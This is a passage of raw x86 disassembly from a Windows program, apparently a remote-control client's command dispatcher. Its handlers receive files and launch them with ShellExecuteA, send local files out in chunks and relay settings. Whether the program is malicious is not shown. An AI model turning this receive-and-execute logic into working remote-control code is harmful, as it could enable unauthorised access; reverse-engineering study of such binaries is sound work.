mov dx, 0xffff
call fcn.0046c798
mov dword [0x530560], eax
cmp dword [0x530560], 0
jne 0x4d8d44
push 0
push 0
mov eax, dword [0x538568]
push eax
push 0
push 0
mov ecx, dword [0x53856c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
jmp case.0x4d506c.10
xor eax, eax
push ebp
push 0x4d8d72
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x53857c]
push dword [0x538578]
mov eax, dword [0x530560]
call fcn.00461f00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d8d97
cmp dword [0x530560], 0
je 0x4d8d1e
push 0
push 0
mov eax, dword [0x530560]
call fcn.00461ea0
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov dword [0x53858c], eax
xor eax, eax
mov dword [0x538588], eax
jmp case.0x4d506c.10
call fcn.004d4608
jmp case.0x4d506c.10
lea edx, [ebp - 0x994]
mov eax, 0xa5
call fcn.004a8230
mov eax, dword [ebp - 0x994]
mov edx, 0x4da5f4
call fcn.0046b9d4
lea edx, [ebp - 0x998]
mov eax, 0xa5
call fcn.004a8230
mov eax, dword [ebp - 0x998]
mov edx, 0x4da60c
call fcn.0046b9d4
jmp case.0x4d506c.10
mov edx, dword [0x531828]
mov edx, dword [edx]
lea eax, [ebp - 0x34]
mov ecx, 0x4da624
call fcn.00404860
mov eax, dword [ebp - 0x34]
call fcn.0046c408
test al, al
jne 0x4d8e8d
lea eax, [ebp - 0x99c]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x99c]
mov dx, 0xffff
call fcn.0046c798
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4d8e8d
mov eax, dword [0x53056c]
call fcn.00404814
push eax
mov eax, 0x53056c
call fcn.00404a64
mov edx, eax
mov eax, dword [ebp - 0x20]
pop ecx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x20]
call fcn.00403750
push 1
push 0x4da4f8
push 0x4da4f8
lea eax, [ebp - 0x34]
call fcn.00404a64
push eax
push 0x4da4e0
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d506c.10
mov eax, dword [0x5318ec]
cmp dword [eax], 0
jne case.0x4d506c.10
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4b0dcc]
call fcn.0041f1c4
mov edx, dword [0x5318ec]
mov dword [edx], eax
jmp case.0x4d506c.10
mov eax, dword [0x537154]
mov eax, dword [eax + 0x314]
cmp byte [eax + 0x94], 0
je case.0x4d506c.10
lea edx, [ebp - 0x9a0]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x9a0]
mov eax, dword [0x537154]
mov eax, dword [eax + 0x314]
call fcn.004a1178
jmp case.0x4d506c.10
cmp dword [0x52ff18], 0x520039a
jb case.0x4d506c.10
mov eax, dword [ebx + 0x14]
mov dword [0x53832c], eax
mov eax, dword [0x53832c]
add eax, 0x5b
cmp eax, dword [0x5383c0]
jb 0x4d9128
mov eax, dword [ebx + 0x10]
mov dword [0x5382cc], eax
cmp dword [0x5382cc], 0
jne 0x4d8f64
mov dword [0x5382cc], 0x64
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x34]
call fcn.004d1fb8
lea eax, [ebp - 0x9a4]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9a4]
xor edx, edx
call fcn.0046c798
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
je 0x4d9128
xor eax, eax
push ebp
push 0x4d9121
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.0046c4c8
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e2c
cmp edx, 0
jne 0x4d8ff2
cmp eax, 0
jne 0x4d8ff2
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xe8
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
jmp 0x4d9101
lea ebx, [ebp - 0x798]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf3
mov byte [ebx + 0xe], 0
mov eax, dword [ebp - 0x48]
mov dword [ebx + 0x10], eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e2c
mov dword [ebx + 0x18], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
push 0
push 0
mov eax, dword [ebp - 0xb4]
call fcn.00461ea0
xor esi, esi
mov byte [0x52ff30], 1
mov dword [ebx + 0x14], esi
inc esi
mov eax, dword [ebp - 0xb4]
call fcn.00461e2c
push edx
push eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e7c
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4d9068
cmp eax, 0x500
jbe 0x4d9076
jmp 0x4d906a
jle 0x4d9076
mov dword [ebp - 0xac], 0x500
jmp 0x4d9096
mov eax, dword [ebp - 0xb4]
call fcn.00461e2c
mov edi, eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e7c
sub edi, eax
mov dword [ebp - 0xac], edi
lea edx, [ebx + 0x20]
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb4]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [ebp - 0xac]
add eax, 0x20
mov dword [ebx + 4], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d31b8
test al, al
je 0x4d9101
test esi, 0xf
jne 0x4d90d8
mov eax, dword [0x531704]
mov eax, dword [eax]
call fcn.00446cc8
mov eax, dword [ebp - 0xb4]
call fcn.00461e2c
push edx
push eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e7c
cmp edx, dword [esp + 4]
jne 0x4d90f9
cmp eax, dword [esp]
pop edx
pop eax
jne 0x4d9035
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d506c.10
mov byte [0x52ff30], 0
mov eax, dword [ebp - 0xb4]
call fcn.00403750
ret
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd3
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x14]
mov dword [0x5384a0], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058cc
call fcn.004058cc
mov dword [0x5304e4], eax
mov dword [0x5304e8], edx
cmp dword [0x5304e8], 0
jne 0x4d918b
cmp dword [0x5304e4], 0
jbe case.0x4d506c.10
jmp 0x4d9191
jle case.0x4d506c.10
mov eax, dword [0x52fee0]
mov edx, dword [0x52fee4]
add eax, dword [0x5304e4]
adc edx, dword [0x5304e8]
mov dword [0x5304e4], eax
mov dword [0x5304e8], edx
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x14]
mov dword [0x5384a0], eax
push 0
push 0x3e8
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058cc
mov dword [0x5304e4], eax
mov dword [0x5304e8], edx
cmp dword [0x5304e8], 0
jne 0x4d91f6
cmp dword [0x5304e4], 0
jbe case.0x4d506c.10
jmp 0x4d91fc
jle case.0x4d506c.10
mov eax, dword [0x52fee0]
mov edx, dword [0x52fee4]
add eax, dword [0x5304e4]
adc edx, dword [0x5304e8]
mov dword [0x5304e4], eax
mov dword [0x5304e8], edx
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x538364]
cmp eax, edx
jne case.0x4d506c.10
mov eax, 0x5384b0
mov dl, 1
call fcn.004e7558
test al, al
je case.0x4d506c.10
mov eax, dword [0x5384b0]
call fcn.00404e38
cmp eax, dword [0x5384b4]
jle 0x4d9284
cmp dword [ebx + 0x14], 1
jne case.0x4d506c.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp case.0x4d506c.10
mov eax, dword [0x5384b0]
call fcn.00404e38
test eax, eax
jne 0x4d92b9
cmp dword [ebx + 0x14], 1
jne case.0x4d506c.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp case.0x4d506c.10
cmp byte [ebx + 0xc], 0xed
jne 0x4d92e6
movzx eax, word [0x538364]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x5384b0]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004d3710
jmp case.0x4d506c.10
movzx eax, word [0x538364]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x5384b0]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004d3710
jmp case.0x4d506c.10
movzx eax, word [0x538364]
cmp eax, dword [ebx + 0x10]
jne case.0x4d506c.10
cmp byte [0x5304fc], 0
je case.0x4d506c.10
movzx ecx, word [0x538364]
mov edx, 0x13
mov eax, dword [0x5384c4]
call fcn.004d3888
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x538364]
cmp eax, edx
jne case.0x4d506c.10
mov eax, dword [0x5384b8]
call fcn.004195c8
cmp edx, 0
jne 0x4d9371
cmp eax, 0
jbe case.0x4d506c.10
jmp 0x4d9377
jle case.0x4d506c.10
movzx ecx, word [0x538364]
mov edx, 0x14
mov eax, dword [0x5384b8]
call fcn.004d3888
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x538364]
cmp eax, edx
jne case.0x4d506c.10
lea edx, [ebp - 0xd0]
mov eax, 0x28
call fcn.004a8ac0
cmp dword [ebx + 0x14], 0
jne 0x4d93dd
lea eax, [ebp - 0x9a8]
mov edx, dword [ebp - 0xd0]
call fcn.00404e18
mov eax, dword [ebp - 0x9a8]
mov dl, 1
call fcn.004e75ec
jmp case.0x4d506c.10
cmp dword [ebx + 0x14], 2
jne case.0x4d506c.10
lea eax, [ebp - 0x9ac]
mov edx, dword [ebp - 0xd0]
call fcn.00404e18
mov eax, dword [ebp - 0x9ac]
mov dl, 1
call fcn.004e767c
jmp case.0x4d506c.10
lea edx, [ebp - 0x9b0]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x9b0]
mov eax, 0x5384a4
call fcn.004045b0
mov eax, 0x5384a4
call fcn.004d1fb8
mov dl, 1
mov eax, dword [0x4e8fb4]
call fcn.00403720
mov esi, eax
push 0xa
lea eax, [ebp - 0x9b4]
mov edx, dword [0x5384a4]
call fcn.00404e18
mov eax, dword [ebp - 0x9b4]
push eax
push esi
call fcn.0046c5e4
test al, al
je 0x4d9502
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, esi
call fcn.004195c8
push edx
push eax
mov eax, esi
call fcn.004195b4
cmp dword [ebx + 0x10], 0
jne 0x4d9492
lea edx, [ebp - 0x44]
mov ecx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, esi
call fcn.004195c8
add eax, 0x20
adc edx, 0
push edx
push eax
mov eax, esi
call fcn.00419618
mov eax, esi
call fcn.004195c8
mov ecx, eax
sub ecx, 0x20
mov edx, dword [esi + 4]
mov eax, dword [esi + 4]
add eax, 0x20
call fcn.0046a990
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x44], eax
mov ebx, dword [esi + 4]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf5
mov eax, esi
call fcn.004195c8
mov dword [ebx + 4], eax
mov eax, dword [ebp - 0x44]
mov dword [ebx + 0x14], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
cmp dword [ebx + 4], 0x540
jle 0x4d94f8
mov eax, ebx
call fcn.004de7ec
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d31b8
mov eax, esi
call fcn.00403750
jmp case.0x4d506c.10
cmp dword [0x530560], 0
jne 0x4d9555
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x538590]
jne case.0x4d506c.10
cmp byte [0x538584], 0
je case.0x4d506c.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x538590]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53856c]
jne case.0x4d506c.10
push 0
push 0x400
mov eax, dword [0x538578]
mov edx, dword [0x53857c]
add eax, 0x3ff
adc edx, 0
call fcn.004058f0
mov ebx, eax
cmp ebx, dword [0x538588]
jbe 0x4d95ac
mov edx, dword [0x538588]
mov eax, dword [0x53858c]
call fcn.00416c00
inc dword [0x538588]
cmp ebx, dword [0x538588]
ja 0x4d958e
lea ebx, [ebp - 0x798]
lea edi, [ebx + 0x20]
mov eax, dword [0x53858c]
mov esi, dword [eax + 8]
dec esi
xor eax, eax
mov dword [ebp - 0x48], eax
test esi, esi
jl 0x4d95e5
mov edx, esi
mov eax, dword [0x53858c]
call fcn.00416d5c
mov dword [edi], eax
add edi, 4
dec esi
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x140
jne 0x4d95c3
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xfe
mov byte [ebx + 0xe], 0
sub edi, ebx
mov dword [ebx + 4], edi
mov eax, dword [ebx + 4]
sub eax, 0x20
test eax, eax
jns 0x4d9603
add eax, 3
sar eax, 2
mov dword [ebx + 0x10], eax
mov eax, dword [0x53856c]
mov dword [ebx + 0x14], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d31b8
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
mov dword [0x5304ec], eax
mov eax, dword [ebx + 0x14]
mov dword [0x5304f0], eax
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
mov dword [0x52ff84], eax
jmp case.0x4d506c.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x34]
call fcn.004d1fb8
mov eax, dword [ebp - 0x34]
call fcn.0046c408
test al, al
je case.0x4d506c.10
mov byte [ebp - 0xc5], 0
lea eax, [ebp - 0x9b8]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9b8]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xc4]
call fcn.0046d128
lea edx, [ebp - 0xc0]
mov eax, 1
call fcn.004a8230
mov al, byte [0x4da634]
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0x9c0]
mov eax, dword [0x531a5c]
mov eax, dword [eax]
call fcn.00409a28
mov edx, dword [ebp - 0x9c0]
lea eax, [ebp - 0x9bc]
call fcn.00404e18
mov eax, dword [ebp - 0x9bc]
push eax
lea eax, [ebp - 0x9c4]
mov edx, dword [ebp - 0xc0]
call fcn.00404e18
mov edx, dword [ebp - 0x9c4]
mov eax, dword [ebp - 0xb8]
pop ecx
call fcn.004ea324
mov eax, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xb8]
call fcn.00404f50
je case.0x4d506c.10
lea eax, [ebp - 0x9c8]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9c8]
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xc4]
call fcn.0046d204
jmp case.0x4d506c.10
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
mov byte [0x52ff40], 1
call fcn.004d4670
xor edx, edx
mov eax, 4
call fcn.004d4690
jmp case.0x4d506c.10
mov al, byte [0x52ff2c]
xor al, 1
mov byte [0x52ff2c], al
cmp byte [0x52ff2c], 0
je 0x4d97b5
push 0
call sub.user32.dll_GetDC
mov edi, eax
test edi, edi
je 0x4d97b5
push 0x58
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52ffc4], eax
push 0x5a
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52ffc8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4d97c9
mov dword [0x52ffc4], 0x60
mov dword [0x52ffc8], 0x60
call fcn.004d15f0
jmp case.0x4d506c.10
mov al, byte [0x4da4f0]
push eax
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x9cc]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov eax, dword [ebp - 0x9cc]
mov ecx, 0x4da640
mov edx, 0x4da64c
call fcn.0040d8bc
lea eax, [ebp - 0xe0]
call fcn.00404a64
mov dword [ebp - 0xf4], eax
lea edx, [ebp - 0xe4]
lea eax, [ebp - 0xf4]
call fcn.0046ad94
lea eax, [ebp - 0xe4]
call fcn.004d1fb8
lea edx, [ebp - 0xe8]
lea eax, [ebp - 0xf4]
call fcn.0046ad94
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xf4]
call fcn.0046ad94
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xf4]
call fcn.0046ad94
lea eax, [ebp - 0x9d0]
mov edx, dword [ebp - 0xec]
call fcn.00404e18
mov eax, dword [ebp - 0x9d0]
push eax
lea eax, [ebp - 0x9d4]
mov edx, dword [ebp - 0xf0]
call fcn.00404e18
mov eax, dword [ebp - 0x9d4]
push eax
mov eax, dword [ebx + 0x14]
push eax
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
lea eax, [ebp - 0x9d8]
mov edx, dword [ebp - 0xe8]
call fcn.00404e18
mov ecx, dword [ebp - 0x9d8]
mov edx, dword [ebx + 0x10]
mov eax, dword [ebp - 0xe4]
call fcn.004daa6c
mov dword [ebp - 0x48], eax
cmp byte [ebx + 0xc], 0xff
jne 0x4d98eb
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp case.0x4d506c.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp case.0x4d506c.10
lea edx, [ebp - 0xe0]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0xe0]
call fcn.0046c7e4
mov eax, dword [ebx + 0x14]
push eax
mov ecx, dword [ebx + 0x10]
and ecx, 0xffff
mov edx, dword [ebx + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe0]
call fcn.004da6f8
jmp case.0x4d506c.10
lea edx, [ebp - 0xe0]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0xe0]
call fcn.004d1fb8
mov eax, dword [ebp - 0xe0]
call fcn.0046c408
test al, al
je case.0x4d506c.10
mov dl, 1
mov eax, dword [ebp - 0xe0]
call fcn.004e0084
jmp case.0x4d506c.10
cmp dword [0x5383c0], 0xb259
ja case.0x4d506c.10
mov eax, dword [ebx + 0x10]
mov dword [0x538530], eax
cmp dword [ebx + 0x1c], 0
je 0x4d99ce
push 0
mov ecx, dword [ebx + 4]
sub ecx, 0x20
lea edx, [ebx + 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f4]
call fcn.00468968
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f4]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 4]
mov dword [ebp - 0xf4], eax
jmp 0x4d99d7
lea eax, [ebx + 0x20]
mov dword [ebp - 0xf4], eax
cmp dword [0x530554], 0
jne 0x4d99f1
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [0x530554], eax
lea eax, [ebp - 0x9dc]
mov edx, dword [ebp - 0xf4]
call fcn.0040474c
mov edx, dword [ebp - 0x9dc]
mov eax, dword [0x530554]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9e4]
xor edx, edx
mov eax, dword [0x530554]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9e4]
lea edx, [ebp - 0x9e0]
call fcn.004099f4
mov edx, dword [ebp - 0x9e0]
mov eax, 0x538534
call fcn.004045b0
mov eax, 0x538534
call fcn.004d1fb8
xor edx, edx
mov eax, dword [0x530554]
mov ecx, dword [eax]
call dword [ecx + 0x48]
push 0
push 0
push 0x52b
mov eax, dword [ebp - 0x28]
call fcn.0045ca88
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d506c.10
mov byte [0x538544], 0
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
mov dword [0x538548], eax
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
call fcn.0040305c
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
inc eax
call fcn.004d0e6c
mov eax, 3
call fcn.0040305c
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0xe0]
mov eax, dword [ebp - 0x48]
call fcn.004d3f44
cmp dword [ebp - 0xe0], 0
jne 0x4d9ad8
lea eax, [ebp - 0xe0]
mov edx, 0x4da65c
call fcn.004045f4
push 0
push 0
lea eax, [ebp - 0xe0]
call fcn.00404a64
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp case.0x4d506c.10
call fcn.0040b024
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe0]
mov eax, 0x4da66c
call fcn.0040bc38
push 0
push 0
lea eax, [ebp - 0xe0]
call fcn.00404a64
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0x100], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0xfc], eax
push dword [ebp - 0xfc]
push dword [ebp - 0x100]
call fcn.004d1aec
jmp case.0x4d506c.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov esi, eax
lea eax, [ebp - 0x9e8]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov edx, dword [ebp - 0x9e8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xe4]
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xe8]
mov edx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xec]
mov edx, 2
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 3
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xe4]
call fcn.004d1fb8
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0xe4]
call fcn.00404e18
mov eax, dword [ebp - 0x9f4]
lea ecx, [ebp - 0x9f0]
lea edx, [ebp - 0xf8]
call fcn.0046d128
mov edx, dword [ebp - 0x9f0]
lea eax, [ebp - 0x9ec]
call fcn.004047dc
mov edx, dword [ebp - 0x9ec]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0xf8], 0xfffffffd
jne 0x4d9c52
test byte [ebx + 0x10], 1
jne 0x4d9c52
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp 0x4d9d29
cmp dword [ebp - 0xf8], 0xfffffffe
jne 0x4d9c78
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp 0x4d9d29
mov eax, dword [ebp - 0xec]
push eax
mov eax, dword [ebp - 0xf0]
push eax
xor edx, edx
mov dl, byte [ebx + 0xc]
mov ecx, dword [ebp - 0xe8]
mov eax, esi
call fcn.004d49a4
mov eax, dword [ebp - 0xe4]
call fcn.004e83a0
lea edx, [ebp - 0x9fc]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x9fc]
lea eax, [ebp - 0x9f8]
call fcn.00404e18
mov eax, dword [ebp - 0x9f8]
push eax
lea eax, [ebp - 0xa00]
mov edx, dword [ebp - 0xe4]
call fcn.00404e18
mov eax, dword [ebp - 0xa00]
mov edx, dword [ebp - 0xf8]
pop ecx
call fcn.0046d204
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jl 0x4d9d11
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp 0x4d9d29
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d3670
mov eax, esi
call fcn.00403750
jmp case.0x4d506c.10
mov dword [0x538354], 1
jmp case.0x4d506c.10
xor eax, eax
call fcn.004e8774
jmp case.0x4d506c.95
call fcn.004e8758
jmp case.0x4d506c.95
lea edx, [ebp - 0xe0]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0xa04]
mov edx, dword [ebp - 0xe0]
call fcn.00404e18
mov eax, dword [ebp - 0xa04]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xf8]
call fcn.0046d128
cmp dword [ebp - 0xf8], 0
jl case.0x4d506c.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [ebp - 0xf8]
je case.0x4d506c.10
lea eax, [ebp - 0xa08]
mov edx, dword [ebp - 0xe0]
call fcn.00404e18
mov eax, dword [ebp - 0xa08]
mov edx, dword [ebx + 0x10]
mov ecx, dword [ebp - 0xb8]
call fcn.0046d204
jmp case.0x4d506c.10
cmp dword [0x52ff94], 0
je 0x4d9de5
mov dword [ebp - 0x48], 1
jmp 0x4d9dea
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d3670
jmp case.0x4d506c.10
lea edx, [ebp - 0xe0]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0xe0]
mov eax, 0x4da688
call fcn.00404b50
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xa0c]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe0]
call fcn.00404a6c
mov eax, dword [ebp - 0xa0c]
push eax
lea eax, [ebp - 0xa10]
mov edx, dword [0x5314fc]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa10]
mov edx, 0x4da694
pop ecx
call fcn.0046c268
mov eax, dword [ebx + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xa14]
mov edx, dword [0x5314fc]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa14]
mov edx, 0x4da6a4
call fcn.0046c018
mov eax, dword [ebx + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xa18]
mov edx, dword [0x5314fc]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa18]
mov edx, 0x4da6b8
call fcn.0046c018
lea eax, [ebp - 0xa1c]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe0]
call fcn.00404a6c
mov eax, dword [ebp - 0xa1c]
push eax
lea eax, [ebp - 0xa20]
mov edx, dword [0x5314fc]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa20]
mov edx, 0x4da6cc
pop ecx
call fcn.0046c268
jmp case.0x4d506c.10
lea edx, [ebp - 0xa24]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0xa24]
mov eax, 0x5384f4
call fcn.004045b0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebx + eax*4 + 0x10]
mov dword [0x530524], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.004a09ac
cmp dword [0x530524], 0
jle case.0x4d506c.10
mov edx, dword [0x5384f4]
mov eax, 0x4da6e0
call fcn.00404b50
test eax, eax
jle 0x4d9f98
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.004a077c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x5384f4]
call fcn.004a0878
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.004a07f8
jmp 0x4d9fcc
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.004a077c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.004a0878
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x5384f4]
call fcn.004a07f8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x530524]
call fcn.004a08f8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.004a09a4
jmp case.0x4d506c.10
mov al, byte [ebx + 0x10]
mov byte [0x52ff98], al
jmp case.0x4d506c.10
inc byte [0x52ff98]
mov eax, dword [0x52fed0]
call fcn.004eaf9c
movsx edx, byte [0x52ff98]
cmp eax, edx
jg case.0x4d506c.10
mov byte [0x52ff98], 0xff
jmp case.0x4d506c.10
lea edx, [ebp - 0xa2c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0xa2c]
lea eax, [ebp - 0xa28]
call fcn.00404e18
mov eax, dword [ebp - 0xa28]
push eax
mov edx, dword [0x531828]
mov edx, dword [edx]
lea eax, [ebp - 0xa34]
mov ecx, 0x4da6ec
call fcn.00404860
mov edx, dword [ebp - 0xa34]
